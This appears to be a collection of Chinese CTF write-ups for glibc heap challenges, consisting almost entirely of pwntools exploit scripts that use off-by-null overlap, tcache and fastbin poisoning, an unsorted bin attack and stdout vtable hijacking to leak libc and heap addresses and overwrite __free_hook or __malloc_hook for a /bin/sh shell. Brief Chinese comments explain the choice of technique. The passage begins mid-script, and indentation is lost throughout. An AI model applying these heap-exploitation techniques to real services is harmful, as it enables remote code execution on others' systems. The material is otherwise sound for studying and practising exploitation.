io.recvuntil("choice>\n")
io.sendline("4")
add(0x48)
delete(0)
edit(0, p64(0x602080))
add(0x48)
add(0x48)
edit(2, p64(0x0))
backdoor()
#debug()
io.interactive()
tcache下面的off by null
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25232)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
gdb_srcipt = '''
set $ptr=(void **)$rebase(0x2020A0)
define pr
x/20gx $ptr
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(index, size, content):
io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.send(content)
def delete(index):
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
def show(index):
io.recvuntil(">> ")
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))
add(0, 0x88, "a") #0
add(1, 0x28, "a") #1
add(2, 0x28, "a") #2
add(3, 0xf8, "a") #3
add(4, 0x10, "a") #4
#fill tcache[0x100]
for i in range(5, 5+7):
add(i, 0xf8, "a")
for i in range(5, 5+7):
delete(i)
#fill tcache[0x90]
for i in range(5, 5+7):
add(i, 0x88, "a")
for i in range(5, 5+7):
delete(i)
#bypass unlink check
delete(0)
#off by null
delete(2)
add(2, 0x28, "\x00"*0x20+p64(0x90+0x30+0x30))
#backward overlapping
delete(3) #into unsorted bin
#leak libc
add(3, 0x38, "a")
add(5, 0x48, "a")
show(1)
io.recvuntil("content: ")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 96
libc_addr = main_arena - 0x3ebc40
print "libc addr: " + hex(libc_addr)
#attack free hook
free_hook = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
delete(2)
add(2, 0x58, "a"*0x20+p64(0x0)+p64(0x31)+p64(free_hook))
add(6, 0x28, "a")
add(7, 0x28, p64(system_addr))
#get shell
add(8, 0x38, "/bin/sh")
delete(8)
#debug(gdb_srcipt)
io.interactive()
这个道题是一个ubuntu16下面的off by null。重点在于这道题在get shell时候通过malloc hook attack所有的one gadget的全部失效(通过realloc来调节栈高度也不行),所以选择劫持vtable来get shell
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
#io = remote("node3.buuoj.cn", 29152)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
gdb_script = '''
set $ptr=$rebase(0x2020a0)
define pr
x/20gx $ptr
end
b *$rebase(0xD48)
'''
def add(index, size, content):
io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.send(content)
def edit(index, content):
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.send(content)
def show(index):
io.recvuntil(">> ")
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))
def delete(index):
io.recvuntil(">> ")
io.sendline("4")
io.recvuntil("Index: ")
io.sendline(str(index))
add(0, 0xf0, "a")
add(1, 0x68, "a")
add(2, 0x68, "a")
add(3, 0xf0, "a")
add(4, 0x40, "a")
add(5, 0x68, "a")
add(6, 0x18, "a")
delete(0) #bypass unlink check
edit(2, "a"*0x60+p64(0x70+0x70+0x100)) #off by null
delete(3) #forward overlapping
#leak libc
add(0, 0xf8, "a")
show(1)
io.recvuntil("content: ")
libc.address = u64(io.recv(6).ljust(8, "\x00")) - 0x3c4b78
log.success("libc address: " + hex(libc.address))
add(7, 0x68, "a") #7==1
add(8, 0x68, "a") #8==2
add(9, 0xf8, "a")
#unsorted bin attack
global_max_fast = libc.address + 0x3c67f8
delete(7)
edit(1, p64(0)+p64(global_max_fast-0x10))
add(7, 0x68, "a")
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc.address + 0xf02a4
edit(9, p64(one_gadget)*(0xf8/8))
#double free
delete(8)
delete(5)
delete(2)
delete(1)
#leak heap
show(7)
io.recvuntil("content: ")
vtable_addr = u64(io.recv(6).ljust(8, "\x00")) + 0x80
log.info("vtable addr: " + hex(vtable_addr))
#hijack vtable
#fake_chunk = libc.address + 0x3c497d #修改的是stdin的vtable
fake_chunk = libc.address + 0x3c56bd #修改的是stdout的vtable
add(1, 0x68, "a")
add(2, 0x68, p64(fake_chunk))
add(5, 0x68, "a")
add(8, 0x68, "a")
payload = "\x00"*3
payload += p64(0x0)*2
payload += p64(0xffffffff)
payload += p64(0x0)*2
payload += p64(vtable_addr)
add(10, 0x68, payload)
debug(gdb_script)
io.interactive()
这道题是一个基础的off by null,但是重点在于怎么在ubuntu16的情况下打free hook(因为one gadget全部失效)
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 26428)
#io = remote("chall.pwnable.tw", 10302)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size, name, content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("heart : ")
io.sendline(str(size))
io.recvuntil("heart :")
io.send(name)
io.recvuntil("heart :")
io.send(content)
def show(index):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
def delete(index):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
add(0x88, "a", "a") #0
add(0x68, "a", "a") #1
add(0x68, "a", "a") #2
add(0xf8, "a", "a") #3
add(0x48, "a", "a") #4
add(0x68, "a", "a") #5
add(0x18, "a", "/bin/sh\x00") #6
delete(0) #bypass unlink check
delete(2)
add(0x68, "a", "a"*0x60+p64(0x70+0x70+0x90)) #0, off by one
delete(3) #forward unlink
add(0x88, "a", "a") #2
show(1)
io.recvuntil("Secret : ")
libc.address = u64(io.recv(6).ljust(8, "\x00")) - 0x3c4b78
log.success("libc address: " + hex(libc.address))
add(0x68, "a", "a") #3==1
add(0x68, "a", "a") #7==0
add(0xf8, "a", "a") #8
#double free link list
delete(0)
delete(5)
delete(7)
malloc_hook_fake_chunk = libc.symbols['__malloc_hook']-0x23+0x18
free_hook = libc.symbols["__free_hook"]
system_addr = libc.symbols["system"]
add(0x68, "a", p64(malloc_hook_fake_chunk))
add(0x68, "a", "a")
add(0x68, "a", "a")
payload = "\x00"*0x1b #padding
payload += p64(0) #fastbin[0x30]
payload += p64(0x71)*3 #fastbin[0x40-0x60]
payload += p64(malloc_hook_fake_chunk+0x2b) #ptr to fastbin[0x30]
add(0x68, "a", payload)
#修改top chunk地址到free_hook-0xb58,因为这里有数据
add(0x68, "a", "\x00"*0x38+p64(free_hook-0xb58))
#共申请0xb40
for i in range(0, 18):
add(0x90, "a", "a")
add(0x90, "a", "a"*0x8+p64(system_addr))
delete(6)
#debug()
io.interactive()
跟常规的堆题不一样,漏洞在于可以任意free。我们最后的效果就是将state的fd指针指向一个伪造的堆块,其中填入one gadget。
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 29675)
e = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def write(size, offset, content):
io.recvuntil("exit\n")
io.sendline("1")
io.recvuntil("?\n")
io.sendline(str(size))
io.recvuntil("?\n")
io.sendline(str(offset))
io.send(content)
def free(offset):
io.recvuntil("exit\n")
io.sendline("3")
io.recvuntil("?\n")
io.sendline(str(offset))
def leak(offset):
io.recvuntil("exit\n")
io.sendline("4")
io.recvuntil("?\n")
io.sendline(str(offset))
# leak all address
payload = p64(0x0)
payload += p64(0x501)
payload += "\x00"*0x4f0
payload += p64(0x0)
payload += p64(0x21)
payload += "\x00"*0x10
payload += p64(0x0)
payload += p64(0x21) #为什么要伪造这个size
write(len(payload), 0, payload)
free(0x10)
leak(0x10) #泄漏出的是top chunk addr
heap_addr = u64(io.recv(6).ljust(8, "\x00"))-0x40
log.success("heap addr: " + hex(heap_addr))
write(8, 0, p64(heap_addr+0x30))
leak(0x0)
text_addr = u64(io.recv(6).ljust(8, "\x00"))-0x1670
log.success("text addr: " + hex(text_addr))
write(8, 0, p64(text_addr+e.got["puts"]))
leak(0)
libc.address = u64(io.recv(6).ljust(8, "\x00"))-libc.symbols["puts"]
log.success("libc addr: " + hex(libc.address))
write(8, 0, p64(text_addr+0x4048+1)) #puts遇到\x00会截断,所以避开\x00
leak(0)
mmap_addr = u64(io.recv(4).ljust(8, "\x00")) << 8
log.success("mmap addr: " + hex(mmap_addr))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc.address + 0xf02a4
payload = p64(0x0)
payload += p64(0x21)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x21)
write(len(payload), 0, payload)
free(0x10)
payload = p64(one_gadget)*2
write(len(payload), 0, payload)
state_chunk = heap_addr + 0x10 - mmap_addr
#debug("b *$rebase(0x138E)")
free(state_chunk)
io.interactive()
未完待续